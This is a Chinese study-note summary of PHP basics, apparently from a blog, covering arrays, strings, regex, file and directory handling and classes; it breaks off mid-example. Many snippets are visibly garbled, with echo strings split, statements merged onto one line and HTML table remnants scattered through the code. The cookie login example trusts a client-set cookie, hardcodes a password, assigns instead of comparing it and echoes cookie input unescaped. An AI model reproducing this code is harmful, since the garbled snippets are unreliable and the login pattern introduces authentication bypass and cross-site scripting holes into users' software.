PHP 开发与代码审计(总结)


笔者将学习PHP时的学习笔记分享出来,基本上是前面的那些博文的汇总,看起来更方便一些,笔者最近放弃了PHP代码审计部分,所以不再继续学下去了,由于精力实在达不到,只能选择一样进行发展,不想成为半瓶子醋,以后将集中精力做好运维的前提下继续研究二进制方向。

PHP 快速入门

◆基本语法◆

普通变量: 普通变量的定义语法,以及通过各种方式判断字符串是否为空.

<?php
	$var = "";                   // 定义字符串
	define("CON_INT",100);       // 定义常量
	
	if(empty($var))
		echo "字符串为空 
"; if(isset($var)) echo "字符串为空
"; if(!is_null($var)) echo "字符串为空
"; if(is_string($var)) echo "字符串变量
"; if(defined("CON_INT")) echo "属于常量
"; echo "当前系统是: " . PHP_OS . "
"; echo "当前PHP版本: " . PHP_VERSION . "
"; echo "当前的行号是: " . __LINE__ . "
"; echo "当前的PHP文件名: " . __FILE__ . "
" ?>

PHP中运算符:

<?php
	$x = 10%3;
	$year = 2018;
	var_dump($x);
	
	try
	{
		if(($year%4==0 && $year%100!=0)||($year%400==0))
			echo "%year 是闰年 
"; else echo "%year 是平年
"; $error = "产生异常."; // throw new Exception($error); }catch(Exception $e) { echo "异常类型: " . $e->getMessage() . "
"; } ?>

where 循环与判断:


	
		
			<?php
				$out=0;
				while ($out < 5)
				{
					if($out%2===0)
						$bgcolor = "#fffffff";
					else
						$bgcolor = "#ddddddd";

					echo "";
					$in = 0;
					while($in < 10)
					{
						echo "";
						$in++;
					}
					echo "";
					$out++;
				}
			?>
	

for循环:


	
		<?php
			for($x=1; $x<=9; $x++)
			{
				for($y=1; $y<=$x; $y++)
				{
					echo "$y * $x = ". $y*$x . "  ";
				}
				echo "
"; } ?> <?php for($x=9; $x>=1; $x--) { for($y=$x; $y>=1; $y--) { echo "$y * $x = ". $y*$x . "  "; } echo "
"; } ?>

函数参数传递:

<?php
	function CreateTable($table_name,$rows,$cols)
	{
		echo "

where 循环

" . ($out*10+$in). "
"; echo ""; for($out=0; $out<$rows; $out++) { echo ""; for($in=0; $in<$cols; $in++) { echo ""; } echo ""; } } CreateTable("财务部",5,5); CreateTable("销售部",3,3); ?>

可变长参数传递:

<?php
	// 普通固定参数传递
	function Person($name="lyshark",$age=24)
	{
		echo "姓名: {$name},年龄: {$age} 
"; } Person("admin",33); // 可变长参数传递 function more_args() { $args = func_get_args(); for($x=0; $x {$args[$x]}
"; } } more_args("admin","guest","lyshark"); // 可变长变量函数 function func_one($x,$y) { return $x+$y; } function func_two($x,$y) { return $x*$y; } $point = "func_one"; echo "call func_one: " . $point(2,3) . "
"; $point = "func_two"; echo "call func_one: " . $point(2,3) . "
"; ?>

设置Cookie登录: 基于Cookie设置实现的用户登录模块,清空与设置Cookie选项.

<?php
	function ClearCookie()
	{
		setCookie('username','',time()-3600);
		setCookie('isLogin','',time()-3600);
	}

	// 检测是否登陆路,如果登录则提示你好
	if($_COOKIE['isLogin'])
	{
		echo "您好: " . $_COOKIE['username'] . "
"; echo "退出"; } // 判断用户是否执行登录 if($_GET['action']=='login') { ClearCookie(); if($_POST['username']=='admin' && $_POST['password']='123123') { setCookie('username',$_POST['username'],time()+60*60*24*7); setCookie('isLogin','1',time()+60*60*24*7); header("Location:index.php"); }else { echo "密码错误"; } } else if($_GET['action']=="logout") { ClearCookie(); header("Location:index.php"); } ?>
用户:
密码:

◆数组操作◆

数组的赋值: PHP中的数组既可以做数组,也可以做键值对字典,且不存在限制,非常灵活.

<?php
	// 定义纯数组格式
	$array_one[0] = 100;
	$array_one[1] = 200;
	$array_one[2] = "lyshark";
	$array_one[3] = [1,2,3,4,5,6];
	
	echo $array_one[0] . $array_one[2] . "
"; echo "数组中的数组: " . $array_one[3][1] . "
"; // 定义字典格式的数组 $array_two['ID'] = 1001; $array_two['name'] = "lyshark"; $array_two['age'] = 25; echo "姓名: " . $array_two['name'] . "
"; ?>

数组的定义与遍历: 分别定义一维数组与二维数组,并通过两种方式分别遍历数组元素.

<?php
	// 定义一维数组
	$var = array("first"=>1,"second"=>2,"third"=>3,"montd"=>4);
	foreach ($var as $key => $value)
	{
		echo "键 => {$key} --> 值 => {$value} 
"; } // 定义二维数组 $var_two = array( "书籍" => array("文学","历史","地理"), "水果" => array(1=>"苹果",2=>"橙子",3=>"水蜜桃")); foreach($var_two as $key => $value) { echo "键=" . $key . " "; foreach($var_two[$key] as $index => $value) { echo " 索引: " . $index . " --> 值: " . $value; } echo "
"; } // 二维数组其他遍历方法 $array_two = array( array('北京','上海','深圳','广州'), array('黑龙江','吉林','辽宁','江苏')); for($x=0; $x< count($array_two); $x++) { for($y=0; $y"; } } ?>

数组元素统计: 统计出数组中指定元素的个数,或者统计每个元素出现的次数.

<?php
	// 一维数组统计
	$lamp = array("Linux","Apache","MySQL","PHP");
	echo "lamp 元素个数: " . count($lamp) . "
"; // 二维数组统计 $web = array( 'lamp' => array("Linux","Apache","MySQL","PHP"), 'j2ee' => array("Unix","Tomcat","Oracle")); echo "二维中一维个数: " . count($web) . "
"; echo "整个数组的大小: " . count($web,1) . "
"; // 统计元素出现次数,返回数组 $array = array("php","asp","jsp","php","python","node.js"); $new_array = array_count_values($array); foreach($new_array as $key => $value) { echo "数组元素 => {$key} ---> 出现频率 => {$value}
"; } ?>

二维数组遍历回显: 通过传统的循环结构遍历特定数组中的元素,并用表格展示出来.

<?php
	$data = array(
		array(1,'admin','北京',"admin@blib.cn"),
		array(2,'guest','天津',"guest@blib.cn"),
		array(3,'lyshark','洛杉矶',"lyshark@blib.cn"));
	
	echo "

$table_name

" . ($out*$cols+$in) . "
"; echo ""; echo ""; echo ""; echo ""; for($row=0; $row < count($data); $row++) { echo ""; for($clo=0; $clo" . $data[$row][$clo] . ""; } echo ""; } echo "

输出列表

编号姓名住址邮箱
"; ?>

三维数组遍历回显: 由于FOR语句遍历数组的局限性,所以PHP中提供了更加强大的ForEach结构.

<?php
	$data = array(
		"市场部" => array(array(1,"张某","经理",5000),array(2,"刘某","员工",3000)),
		"销售部" => array(array(1,"李某","职员",2000),array(2,"孙某","经理",6000)),
		"财务部" => array(array(1,"吴某","经理",8000))
	);
	
	foreach($data as $sector => $table)
	{
		echo "";
		echo "";
		echo "";
		echo "";
		echo "";
		
		foreach($table as $row)
		{
			echo "";
			foreach($row as $col)
			{
				echo "";
			}
			echo "";
		}
		echo "

" . $sector . "

编号姓名职务薪资
" . $col . "

"; } ?>

指针操作数组: 数组内部指针式数组内部的组织机制,指向一个数组中的某个元素.

<?php
	$info = array('admin','guest','lyshark');
	
	// 将数组中所有的的元素转换为变量
	list($x,$y,$z) = $info;
	echo "变量: " . $x . $y . $z . "
"; // 将数组中指定元素转换为变量 list(,,$z)= $info; echo "变量: " . $z . "
"; // 数组指针操作 reset($info); echo "元素索引: " . key($info) . "元素值: " . current($info) . "
"; next($info); echo "元素索引: " . key($info) . "元素值: " . current($info) . "
"; prev($info); echo "元素索引: " . key($info) . "元素值: " . current($info) . "
"; end($info); echo "元素索引: " . key($info) . "元素值: " . current($info) . "
"; // 通过指针循环遍历 for(reset($info); current($info);next($info)) { echo "数据: " . current($info) . "
"; } ?>

数组键值对操作: 数组中的每个元素都是由键值对组成的,通过元素的键访问对应的值.

<?php
	$info = array("ID" => 1001,"Name" => "admin","Age" => 24 );
	$var1 = array("a"=>"python","b"=>"php","c"=>"C/C++","d"=>"java");
	$var2 = array("1"=>"a","2"=>"b","3"=>"c","4"=>"d");
	
	// 获取所有的键值
	print_r(array_keys($info));
	print_r(array_values($info));
	
	// 获取特定的键
	print_r(array_keys($info,"admin"));
	
	// 值作为新数组的键
	$new = array_combine($var1, $var2);
	print_r($new); echo"
"; // extrace()将数组转换成标量变量 extract($var1); echo $a."
"; echo $b."
"; ?>

判断键值是否存在: 检查特定数组中是否存在某个值,即在数组中搜索给定的值.

<?php
	// 函数的简单用法
	$info = array("Mac","Windows NT","AIX","Linux");
	if(in_array("Mac",$info))
		echo "存在 
"; // 严格模式,必须类型一致,否则失败 $info = array('10.24',12,45,1,2); if(in_array(10.24,$info,true)) echo "存在
"; // 查询数组中的数组 $info = array(array(1,2),array(3,4)); if(in_array(array(3,4),$info)) echo "存在
"; // search 同样可以实现检索 $info = array("ID" => 1001,"Name" => "admin","Age" => 24 ); if(array_search("admin",$info)) echo "存在
"; // 检查下标元素是否在数组中 if(array_key_exists('ID',$info)) echo "存在
"; // 使用isset同理 if(isset($info['ID'])) echo "存在
"; ?>

数组交换/统计/去重: 实现数组的交换,统计,与去重等操作.

<?php
	$info = array("OS" => "Linux","WebServer" => "Nginx", "DataBase" => "MySQL");
	
	// 交换数组中的键值
	$new_info = array_flip($info);
	
	print_r($info); echo "
"; print_r($new_info); echo "
"; // 数组元素反转 $new_info = array_reverse($info); print_r($info); echo "
"; print_r($new_info); echo "
"; // 统计元素个数 $var_count = count($info); echo "元素个数: " . $var_count . "
"; // 统计数组中所有元素出现次数 $array = array(1,2,3,3,2,4,5,6,6,7,7,7,6,8,7,4,3); $array_count = array_count_values($array); print_r($array_count); echo "
"; // 数组元素去重操作 $array = array("1" => "PHP","2" => "MySQL","3" => "PHP"); print_r(array_unique($array)); ?>

数组回调与过滤: PHP提供了回调函数,可以实现对数组中元素的过滤功能,例如将每个元素递增10等.

<?php
	// array_filter 定义第一个回调函数
	function EvenNumber($var)
	{
		if($var %2 ==0) return true;
	}
	$info = array(1,2,3,4,5,6,7,8,9,10);
	print_r(array_filter($info,"EvenNumber"));echo "
"; // array_walk 第二种回调函数的过滤写法 function PrintFunction($value,$key) { $value = $value + 10; echo "KEY= " . $key . " VALUE= " . $value . "
"; } $info = array("UID" => 1001,"GID" => 0, "age"=> 25); array_walk($info,"PrintFunction"); // array_map 第三种回调函数过滤写法(可替换指定数组元素) function ReplaceMap($var1) { if($var1 === "MySQL") return "Oracle"; return $var1; } $info = array("Linux","Windows","Apache","MySQL","PHP"); print_r(array_map("ReplaceMap",$info));echo "
"; // array_map 传递多个参数实现回调 (可用于对比多个数组的异同点) function Contrast($var1,$var2) { if($var1 == $var2) return "True"; return "False"; } $Array_A = array("Linux","PHP","MySQL"); $Array_B = array("Linux","MySQL","MySQL"); print_r(array_map("Contrast",$Array_A,$Array_B)); ?>

基本的数组排序: 在PHP中提供了多种排序函数,相比于C来说更加的简单实用.

<?php
	// 对数组进行正反向排序
	$info = array(5,6,8,2,7,8,9,0,2,1,3,4,5);
	
	if(sort($info))
		echo "sort 正向排序:"; print_r($info);echo "
"; if(rsort($info)) echo "sort 反向排序:"; print_r($info);echo "
"; // 根据key=>键名称来实现数组排序 $info = array(5 => "five",8 => "eight",1 => "one"); if(ksort($info)) echo "ksort 正向排序:"; print_r($info);echo "
"; if(krsort($info)) echo "ksort 反向排序:"; print_r($info);echo "
"; // 根据value=>值来实现数组排序 $info = array(5 => "five",8 => "eight",1 => "one"); if(asort($info)) echo "asort 正向排序:"; print_r($info);echo "
"; if(arsort($info)) echo "asort 反向排序:"; print_r($info);echo "
"; // 根据自然排序法对数组排序 $info = array("file1","file11","File2","FILE12","file"); if(natsort($info)) echo "natsort 大写排在前面:"; print_r($info);echo "
"; if(natcasesort($info)) echo "natcasesort 忽略大小写自然排序:"; print_r($info);echo "
"; ?>

自定义/多维数组排序: 除了使用上面提供的排序方法以外,我们还可以自定义排序规则.

<?php
	// 回调函数实现自定义排序
	$info = array("Linux","Apache","MySQL","PHP");
	
	function SortByLen($var1,$var2)
	{
		// 如果两个字符串长度一致则保留
		if(strlen($var1) === strlen($var2))
			return 0;
		else
			return (strlen($var1)>strlen($var2)?1:-1);
	}
	if(usort($info,"SortByLen"))
		echo "自定义排序:"; print_r($info);echo "
"; // 多维数组的排序方法 $info = array( array("id" => 1,"soft" => "Linux","rating" => 8), array("id" => 2,"soft" => "Apache","rating" => 1), array("id" => 3,"soft" => "Nginx","rating" => 5) ); foreach($info as $key => $value) { // 将$info中每个元素中键为soft的值形成新数组$soft $soft[$key] = $value["soft"]; $rating[$key] = $value['rating']; } array_multisort($rating,$soft,$info); // 开始排序 echo "多维数组排序: "; print_r($info); echo "
"; ?>

拆分/合并/分解数组: 数组常用的处理函数,包括对数组进行拆分,合并,结合,等常用操作.

<?php
	// array_slice(数组,开始下标,取出个数) 在数组中根据条件取值并返回.
	$info = array("Linux","PHP","Apache","MySQL","Nginx","Zabbix");
	print_r(array_slice($info,1,2));echo "
"; // array_splice(数组,开始下标,替换次数,替换为) 替换指定数组中的指定元素 $info = array("Linux","PHP","Apache","MySQL","Nginx","Zabbix"); array_splice($info,1,1,"AAAA"); echo "将下标1的位置替换为AAAA "; print_r($info); echo "
"; array_splice($info,2); echo "从第2个元素向后的都删除掉 "; print_r($info); echo "
"; // array_combine() 将两个数组合并为新数组 (两个数组必须相等) // 其中第一个数组为KEY 第二个数组为Value $key = array("1","2","3"); $value = array("Apache","Nginx","Cpp"); $new_array = array_combine($key,$value); echo "合并后: "; print_r($new_array); echo "
"; // array_merge() 将两个数组合并为新数组 (合并时自动去重) $varA = array("a" => "Linux","b" => "MySQL"); $varB = array("c" => "Python","a" => "PHP"); echo "合并后: "; print_r(array_merge($varA,$varB)); echo "
"; // array_ntersect()/array_diff() 计算两个数组的交集/差集 $varA = array(1,2,3,4,5); $varB = array(3,4,5,6,7); echo "交集: "; print_r(array_intersect($varA,$varB));echo "
"; echo "差集: "; print_r(array_diff($varA,$varB));echo "
"; ?>

数组模拟实现栈/队列: 数组同样可以实现栈与队列的基本操作,如下所示.

<?php
	// 实现数组栈
	$stack = [];
	array_push($stack,1);
	array_push($stack,2);
	array_pop($stack);
	echo "简易版: "; print_r($stack);echo "
"; // key-value类型的栈 $kv_stack = array(1 =>"Linux"); array_push($kv_stack,2,"Apache"); echo "key-value版栈: "; print_r($kv_stack);echo "
"; // 实现队列 $kv_loop = array(1 =>"Linux"); array_unshift($kv_loop, 2, "Apache"); array_shift($kv_loop); echo "key-value 版队列: "; print_r($kv_loop);echo "
"; ?>

数组的打乱/互转: 实现对数组的打乱,或将数组与字符串实现互相转换.

<?php
	// $var = array(1,2,3,4,5,6,7,8,9,10);
	$var = range(0,10);
	
	echo "当前数组: "; print_r($var); echo "
"; echo "随机取出一个元素: " . array_rand($var,1) . "
"; echo "随机打乱数组: " . shuffle($var) . "
"; echo "数组求和: " . array_sum($var) . "
"; array_unshift($var, "perl"); # 在数组头部添加元素 print_r($var);echo "
"; array_push($var, "golang"); # 在数组尾部添加元素 print_r($var);echo "
"; array_shift($var); # 删除数组第一个元素 print_r($var);echo "
"; array_pop($var); # 删除数组最后一个元素 print_r($var);echo "
"; // 将数组转为字符串/数组到字符串,互转. $var = array("python","php","C","java"); $var = implode(",", $var); # 数组转换为字符串 echo "字符串: "; print_r($var); echo "
"; $var = explode(",", $var); # 字符串转数组 echo "数组: "; print_r($var); echo "
"; ?>

◆字符操作◆

字符串输出: 在PHP中,字符串的输出可以使用多种函数来实现,最基本的输出方式如下.

<?php

	// printf 普通的输出函数
	$string = "hello lyshark";
	$number = 1024;
	printf("%s page number = > %u 
",$string,$number); // echo 的使用方法 $name = "lyshark"; $age = 25; echo "姓名: {$name} 年龄: {$age}
"; // sprintf 将内容输出到缓冲区中 $text = sprintf("float = > %0.2f",$number); echo "打印输出内容: " . $text . "
"; // 第三种输出方式 print_r("姓名: " . $name . "年龄:" . $age . "
"); var_dump($name); ?>

字符串处理函数: 针对字符串的大小写转换,去重左右去空格,左右补齐,等基本操作.

<?php
	$string = "@@ hello lyshark  @@";

	// 字符串左右去除
	printf("字符串长度: %d 
",strlen($string)); printf("字符串截取: %s
",substr($string,2,4)); printf("去除左侧空字符: %s
",ltrim($string)); printf("去除左侧@字符: %s
",ltrim($string,'@')); printf("去除右侧@字符: %s
",rtrim($string,'@')); printf("去除两边@字符: %s
",trim($string,'@')); // 字符串自动补齐 echo "右边补齐: " . str_pad($string,50,"-") . "
"; echo "左边补齐: " . str_pad($string,50,"-",STR_PAD_LEFT) . "
"; echo "两边补齐: " . str_pad($string,50,"-",STR_PAD_BOTH) . "
"; // 字符串大小写转换 echo "全部小写: " . strtolower($string) . "
"; echo "全部大写: " . strtoupper($string) . "
"; echo "首字母大写: " . ucwords($string) . "
"; // 反转字符串与MD5 echo "反转字符串: " . strrev($string) . "
"; echo "MD5 加密: " . md5($string) . "
"; ?>

字符串比较(字节序): 字节序比较可以使用strcmp/strcasecmp两个函数,只需传入两个字符串即可.

<?php
	$username="lyshark"; $password="Abc123^";
	
	// 不区分大小写比较字符串
	if(strcasecmp(strtolower($username),"lyshark") == 0)
		printf("用户名正确.. 
"); // 区分大小写验证密码 switch(strcmp($password,"Abc123^")) { case 0: echo "两个字符串相等.";break; case 1: echo "第一个大于第二个.";break; case -1: echo "第一个小于第二个.";break; } // 字符串实现冒泡排序 $info= array("file11.txt","file22.txt","file1.txt","file2.exe"); function MySort($array) { for($x=0; $x

字符串替换/切割: 将字符串切割为多个部分,替换字符串,与连接字符串等操作.

<?php
	// 实现截取文件后缀
	function getFileName($url)
	{
		$location = strrpos($url,"/")+1;    // 获取URL中最后一个/出现的位置
		$fileName = substr($url,$location); // 截取从location位置到结尾的字符
		return $fileName;
	}
	echo getFileName("http://www.baidu.com/index.php") . "
"; echo getFileName("file://c://windows/php.ini") . "
"; // 实现字符串替换 $string = "BASH Linux PHP MySQL Ruby Metasploit linux"; echo "将Linux替换为Win: " . str_replace("Linux","Windows",$string,$count) . "
"; echo "将Linux替换为Win: " . str_ireplace("Linux","Windows",$string,$count) . "
"; $search = array("http","www","jsp","com"); // 搜索字符串 $replace = array("https","bbs","php","net"); // 替换字符串 $url = "http://www.baidu.com/index.jsp"; echo "数组替换: " . str_replace($search,$replace,$url) . "
"; // 实现字符串切割与链接 $info = "Linux Apache MySQL PHP Web"; $str_cat = explode(" ",$info); echo "切割后: " . $str_cat[1] . $str_cat[2] . "
"; $info = "root:*:0:0::/home/dhat:/bin/bash"; list($user,$pass,$uid,$gid,,$home,$shell) = explode(":",$info); echo "切割后: 用户-> " . $user . " 终端Bash -> " . $shell . "
"; $info = array("linux","Apache","MySQL","PHP"); echo "链接字符串: " . implode("+",$info) . "
"; echo "链接字符串: " . join("+",$info) . "
"; ?>

正则匹配字符串: 通过使用正则我们同样可以对字符串进行匹配,切片,组合,查找等操作.

<?php
	/*
	邮箱: '/^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$/'
	正整数: '/^\d+$/'
	qq号码:'/^\d{5,11}$/'
	手机号码: '/^1(3|4|5|7|8)\d{9}$/'
	*/
	// 简单的正则匹配方法
	$pattern = "/\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/";
	$subject = 'aaa 1181506874@qq.com test admin@blib.cn ddd';
	$recv = preg_match_all($pattern, $subject,$match,PREG_SET_ORDER);
	echo "匹配记录: " . $recv . "条, 值: " . $match[0][0] . "," . $match[1][0] . "
"; // 匹配数组中符合条件的字符串 $array = array("LinuxHat","Nginx 2.2.3","Apache 2.29","PHP"); $pattern_version = preg_grep("/^[a-zA-Z ]+(\d|\.)+$/",$array); print_r($pattern_version); echo "
"; // 正则实现字符串替换 $pattern = "/[!@#$]/"; $text = "你@好!,当前日#期 01/25/2020 总#共365天"; echo "替换特殊符号为空: " . preg_replace($pattern,"",$text) . "
"; $pattern = "/(\d{2})\/(\d{2})\/(\d{4})/"; echo "替换实现时间翻转: " . preg_replace($pattern,"\${3}-\${1}-\${2}",$text) . "
"; // 正则实现字符串切割 $keyworks = preg_split("/[\s,]/","php,nginx, mysql python"); echo "切割字符串为数组: "; print_r($keyworks); echo "
"; $keyworks = preg_split("//","lyshark",-1,PREG_SPLIT_NO_EMPTY); echo "将字符串切割为字符: "; print_r($keyworks); echo "
"; ?>

◆文件操作◆

读文件基本信息: 文件基本信息包括文件类型,文件的创建日期等基本信息,我们可以通过以下方式来判断.

<?php
	$Path = "C://Windows/System32/drivers/etc/hosts";
	
	echo "文件类型: " . filetype($Path) . "
"; echo "文件建立时间: " . date("Y年m月j日",filectime($Path))."
"; echo "文件最后更改时间: " . date("Y年m月j日",filemtime($Path))."
"; echo "文件最后打开时间: " . date("Y年m月j日",fileatime($Path))."
"; if(file_exists($Path)) printf("文件存在
"); if(is_file($Path)) printf("是一个文件
"); if(is_dir($Path)) printf("是一个目录
"); if(is_readable($Path)) printf("文件可读
"); if(is_writable($Path)) printf("文件可写
"); if(is_executable($Path)) printf("文件可执行
"); ?>

判断文件类型: 虽然我们可以通过filetype()函数判断文件类型,但是不够具体,如下是具体的判断流程.

<?php
	$Path = "C://Windows/System32/drivers/etc/hosts";
	
	function GetFileType($FileName)
	{
		switch(filetype($FileName))
		{
			case "file": $type = "普通文件"; break;
			case "dir": $type = "目录文件"; break;
			case "block": $type = "块设备文件"; break;
			case "fifo": $type = "命名管道文件"; break;
			case "link": $type = "符号文件"; break;
			case "unknown": $type = "未知文件"; break;
			default: $type = "没有检测到"; break;
		}
		return $type;
	}
	
	$type = GetFileType($Path);
	printf("文件类型: %s 
",$type); ?>

获取文件大小: 文件大小的获取可以使用filesize但此方法需要封装后才可获取到常规单位,代码如下所示.

<?php
	$Path = "C://Windows/System32/drivers/etc/hosts";
	
	function GetFileSize($bytes)
	{
		if($bytes >= pow(2,40))
		{
			$return = round($bytes/pow(1024,4),2);
			$suffix = "TB";
		}else if($bytes >= pow(2,30))
		{
			$return = round($bytes/pow(1024,3),2);
			$suffix = "GB";
		}else if($bytes >= pow(2,20))
		{
			$return = round($bytes/pow(1024,2),2);
			$suffix = "MB";
		}else if($bytes >= pow(2,10))
		{
			$return = round($bytes/pow(1024,1),2);
			$suffix = "KB";
		}else
		{
			$return = $bytes;
			$suffix = "Byte";
		}
		return $return . " " . $suffix;
	}
	
	$ret = GetFileSize(filesize($Path));
	echo "文件实际大小: " . $ret . "
"; ?>

文件中的路径解析: 根据不同的分隔符,对文件路径进行解析,解析结果可以直接使用key-value的方式输出.

<?php
	// 返回文件基本信息数组
	$Path = "C://Windows/System32/drivers/etc/hosts";
	
	$FilePro = stat($Path);
	echo "文件基本信息: "; print_r(array_slice($FilePro,13)); echo "
"; // 返回路径中的 page.php 文件名 $Path = "/var/www/html/page.php"; echo "带文件扩展名输出: " . basename($Path) . "
"; echo "不带文件扩展名输出: " . basename($Path,".php") . "
"; // 返回路径的所在位置 echo "文件所在位置: " . dirname($Path) . "
"; // 返回目录中文件详细信息 $path_parts = pathinfo($Path); echo "路径: " . $path_parts["dirname"] . "
"; echo "文件: " . $path_parts["basename"] . "
"; echo "扩展名: " . $path_parts["extension"] . "
"; ?>

文件读写操作: 读写文件首先需要使用fopen函数打开文件,然后使用fread读取,fwrite写入,最后使用fclose释放句柄.

<?php
	// 从文件中读出前100个字节
	$handle = fopen("c://test.log","r") or die("Open File Err");
	$context = fread($handle,100);
	echo $context;
	fclose($handle);
	
	// 循环从文件中读取全部数据
	$handle = fopen("c://test.log","r") or die("Open File Err");
	$context = "";
	
	while(!feof($handle))
	{
		$context = fread($handle,1024);
	}
	fclose($handle);
	echo $context;
	
	// 另一种读取全文的方式
	$handle = fopen("c://test.log","r") or die("Open File Err");
	$context = fread($handle,filesize("c://test.log"));
	fclose($handle);
	echo $context;
	
	// 每次读入一个字符,直到读取结束
	$handle = fopen("c://test.log","r") or die("Open File Err");
	while(false !==($char = fgetc($handle)))
	{
		echo $char . "
"; } // 读取远程文件,并输出 $file = fopen("http://www.baidu.com","r"); while(!feof($file)) { $line = fgets($file,1024); echo $line; } fclose($file); // 文件写入数据 $handle = fopen("c://new.txt","w") or die("open file error"); for($row=0; $row<10; $row++) { fwrite($handle,$row . "www.baidu.com \n"); } fclose($handle); ?>

遍历文件目录: 遍历目录中文件,主要用到opendir打开为文件,readdir每次读入一条记录,最后closedir关闭句柄.

<?php
	$Path = "d://";
	$dir_handle = opendir($Path);
	
	echo "";
	echo "";
	echo "";
	echo "";
	
	while($each = readdir($dir_handle))
	{
		$dir_file_path = $Path . "/" . $each;    // 将目录与文件连接起来
		if($num++ % 2 == 0)                      // 控制奇数行与偶数行不同的颜色输出
			$bgcolor='#ffccf';
		else
			$bgcolor='#ccfff';
		
		echo "";
		echo "";
		echo "";
		echo "";
		echo "";
		echo "";
	}
	echo "

目录: " . $Path . "

文件名文件大小文件类型修改时间
" . $dir_file_path . "" . filesize($dir_file_path) . "" . filetype($dir_file_path) . "" . date("Y/n/t",filemtime($dir_file_path)) . "
"; closedir($dir_handle); echo "目录: " . $Path . "总共有: " . $num . " 个文件" . "
"; ?>

统计目录总容量: 计算文件磁盘目录的总大小,具体思路是递归遍历将每次遍历到的文件大小存入变量递增.

<?php
	echo "磁盘剩余大小: " . disk_free_space("c://") . "
"; echo "磁盘总计大小: " . disk_total_space("c://") . "
"; function GetDirSize($directory) { $dir_size = 0; // 首先打开目录,并判断目录是否打开成功 if($dir_handle = @opendir($directory)) { // 循环每次读入一个目录下的所有文件 while($filename = readdir($dir_handle)) { // 判断目录文件,排除. .. 两个无效路径 if($filename != "." && $filename != "..") { $file_path = $directory . "/" . $filename; // 如果是目录,则需要继续递归调用自身函数 if(is_dir($file_path)) $dir_size += GetDirSize($file_path); // 如果是文件则统计大小 if(is_file($file_path)) $dir_size += filesize($file_path); } } } closedir($dir_handle); return $dir_size; } $dir_size = GetDirSize("D://htmlcss/"); echo "目录大小: " . round($dir_size/pow(1024,2),2). "MB" . "
"; echo "目录大小: " . round($dir_size/pow(1024,1),2). "KB" . "
"; ?>

目录递归拷贝: 如果需要拷贝单个文件可以直接使用copy函数,如果要拷贝目录则需要递归拷贝.

<?php
	function CopyFileDir($dir_src,$dir_dst)
	{
		if(is_file($dir_dst))
		{
			printf("目标不是目录,无法执行.");
			return;
		}
		if(!file_exists($dir_dst))
			mkdir($dir_dst);
		
		// 首先打开目录,并判断目录是否打开成功
		if($dir_handle = @opendir($dir_src))
		{
			// 循环每次读入一个目录下的所有文件
			while($filename = readdir($dir_handle))
			{
				// 判断目录文件,排除. .. 两个无效路径
				if($filename != "." && $filename != "..")
				{
					$sub_file_src = $dir_src . "/" . $filename;
					$sub_file_dst = $dir_dst . "/" . $filename;
					
					if(is_dir($sub_file_src))
						CopyFileDir($sub_file_src,$sub_file_dst);
					if(is_file($sub_file_src))
						copy($sub_file_src,$sub_file_dst);
				}
			}
			closedir($dir_handle);
		}
		return $dir_size;
	}

	// 将d://test目录,拷贝到c://test
	CopyFileDir("d://test","c://test");
?>

目录递归删除: 递归删除需要先调用unlink函数将目录中每个文件都删掉,然后赞调用rmdir删除空目录.

<?php
	function DelFileDir($directory)
	{
		// 判断目录是否存在
		if(file_exists($directory))
		{
			if($dir_handle = @opendir($directory))
			{
				while($filename = readdir($dir_handle))
				{
					if($filename!='.' && $filename != "..")
					{
						$sub_file = $directory . "/" . $filename;
						if(is_dir($sub_file))
							DelFileDir($sub_file);
						if(is_file($sub_file))
							unlink($sub_file);
					}
				}
				closedir($dir_handle);
				rmdir($directory);
			}
		}
	}
	
	// 删除c://test整个目录
	DelFileDir("c://test");
?>

◆面向对象◆

定义基本的类: 在类中我们可以定义各种数据成员和成员函数,其中public修饰的函数与变量可以在任何地方被调用,而private修饰的函数只能在本类中被调用子类不可调用,而protected修饰的则可以在本类和子类中被调用但不可以在外部调用.

<?php
	class SportObj
	{
		public $username = "lyshark";         // 公有属性
		private $password = "12345";          // 私有属性
		protected $type = "root";             // 受保护的

		function init($name,$height,$age,$sex)
		{
			echo "当前的类名是: " . get_class($this) . "
"; if($height >= 180 and $age >= 18) return "用户: " . $name . " 符合
"; else return "用户: " . $name . " 不符合
"; } function GetVariable() { echo "用户名: {$this->username} 密码: {$this->password} 类型: {$this->type}
"; } } // 实例化 $person = new SportObj(); echo "访问公有属性: {$person->username}
"; echo $person->init("lyshark","180","20","男"); echo $person->GetVariable(); ?>

构造函数/析构函数: 在PHP中声明构造函数使用__construct,而声明析构函数则使用__destruct,构造函数主要完成对类的初始化工作,析构函数则主要负责对类的清理工作.

<?php
	class Books
	{
		public $obj_name;
		public $obj_type;

		// 定义构造函数
		public function __construct($name,$type){
			$this->obj_name = $name;
			$this->obj_type = $type;
			echo "默认自动执行构造方法" . "
"; } // 定义析构函数 public function __destruct(){ echo "函数执行完成之后清理工作" . "
"; } public function boolObj(){ if ($this->obj_type >= "10" and $this->obj_name == "lyshark") return $this->obj_name; else return "-1"; } } $obj = new Books("lyshark","100"); echo $obj->boolObj() . "
"; ?>

面向对象继承: 子类继承父类的所有成员变量和方法包括构造方法,当子类被创建时PHP会先在子类中查找构造方法,如果子类有自己的构造方法,那么PHP会率先调用子类的方法,当子类没有时,PHP则会调用父类的构造方法,这就是PHP中的继承.

<?php
	# 创建父类,或者说基类
	class BaseObj{
		public $name;
		public $age;
		public $sex;

		public function __construct($name,$age,$sex){
			$this->name = $name;
			$this->age = $age;
			$this->sex = $sex;
		}
		public function showMe(){
			echo "这句话不会显示." . "
"; } public function extenShow(){ echo "hello world"; } } # 子类继承父类的所有方法 class BeatBask extends BaseObj{ public $height; public function __construct($name,$height){ $this->height = $height; $this->name = $name; } public function showMe(){ if($this->height >= 100) { return $this->name . ", 符合条件!"; }else{ return $this->name . ", 不符合条件!"; } } } # 子类继承父类的所有方法 class Lifting extends BaseObj{ public function ShowName(){ return $this->name; } } $persion = new BeatBask("lyshark","199"); echo $persion->showMe() . "
"; # 默认调用子类的方法 echo $persion->extenShow() . "
"; # 继承父类可以调用public的子类 $persion_1 = new Lifting("lyshark","199","1"); echo "来自基类的变量:" . $persion_1->ShowName(); ?>

有时我们需要在子类中调用父类中被覆盖的方法,此时我们就可以使用以下方式实现,先调用原始构造函数,然后再增加新的功能,这样子类中就可以直接调用父类中的方法了.

<?php
	class Person
	{
		protected $name;
		protected $sex;
		protected $age;

